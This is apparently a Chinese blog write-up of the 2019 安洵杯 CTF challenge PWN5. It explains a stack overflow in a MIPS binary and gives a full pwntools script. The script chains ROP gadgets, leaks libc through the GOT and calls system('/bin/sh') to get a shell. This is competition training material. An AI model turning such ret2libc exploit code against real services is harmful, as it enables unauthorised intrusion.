PWN5

发表于 2021-01-16 分类于 Challenge， 2019， 安洵杯， Pwn
Challenge | 2019 | 安洵杯 | Pwn | PWN5

点击此处获得更好的阅读体验

WriteUp来源

https://xz.aliyun.com/t/6912

题目考点

- *MIPS*
- *ROP*

解题思路

分析

逆向代码，在 vuln 函数中存在一处栈溢出

但是没有 system 函数，需要进行 ret2libc 的利用，先泄露出 got 表里面的内容，之后调用 system 函数即可。

/bin/sh 字符串在 libc 中也可以找到，直接调用 system("/bin/sh") 即可

EXP

```python
from pwn import *

#context.log_level="debug"

r = remote("127.0.0.1",8881)
#r = process("./build_pwn2.sh")
elf = ELF("./pwn2")
libc = ELF("/home/h4lo/mipsel-env/lib/libuClibc-0.9.33.2.so")


payload = "H4lo"
#payload += p32(0x00410AA0)

r.recvuntil("What's your name:")
r.sendline(payload)

sleep(0.2)
r.recv()

sleep(0.2)

# gadget1
payload = p32(1) * 9
payload += p32(0x004006C8)

#payload += p32(elf.plt['puts'])    # fp
payload += p32(1)

payload += "a" * 0x18
payload += 'a' * 4 # s0
#payload += p32(elf.got['puts']) # s1
payload += p32(0x00410B58)
payload += p32(0x0040092C) # s2


payload += 'a' * 4 # s3
payload += p32(0x004007A4) # ra


payload += 'a'*0x20
payload += p32(0x004007C4)

sleep(0.2)
r.send(payload)

r.recv()
#success(a)
libc_addr = u32(r.recv(4))-libc.symbols['puts']

success("libc_addr: " + hex(libc_addr))

r.recv()
#r.send(payload)
system_addr = libc_addr + libc.symbols['system']
binsh_addr = libc_addr + 0x9bc48


# gadget2
payload = 'a'*0x24
payload += p32(0x004006C8)

payload += 'a'*0x1c
payload += 'a'*4 #s0
payload += p32(binsh_addr)
payload += p32(system_addr)
payload += 'a'*4
payload += p32(0x004007A4)

r.send(payload)


r.interactive()
```

 # Challenge # Pwn # 2019 # 安洵杯
PWN4
rand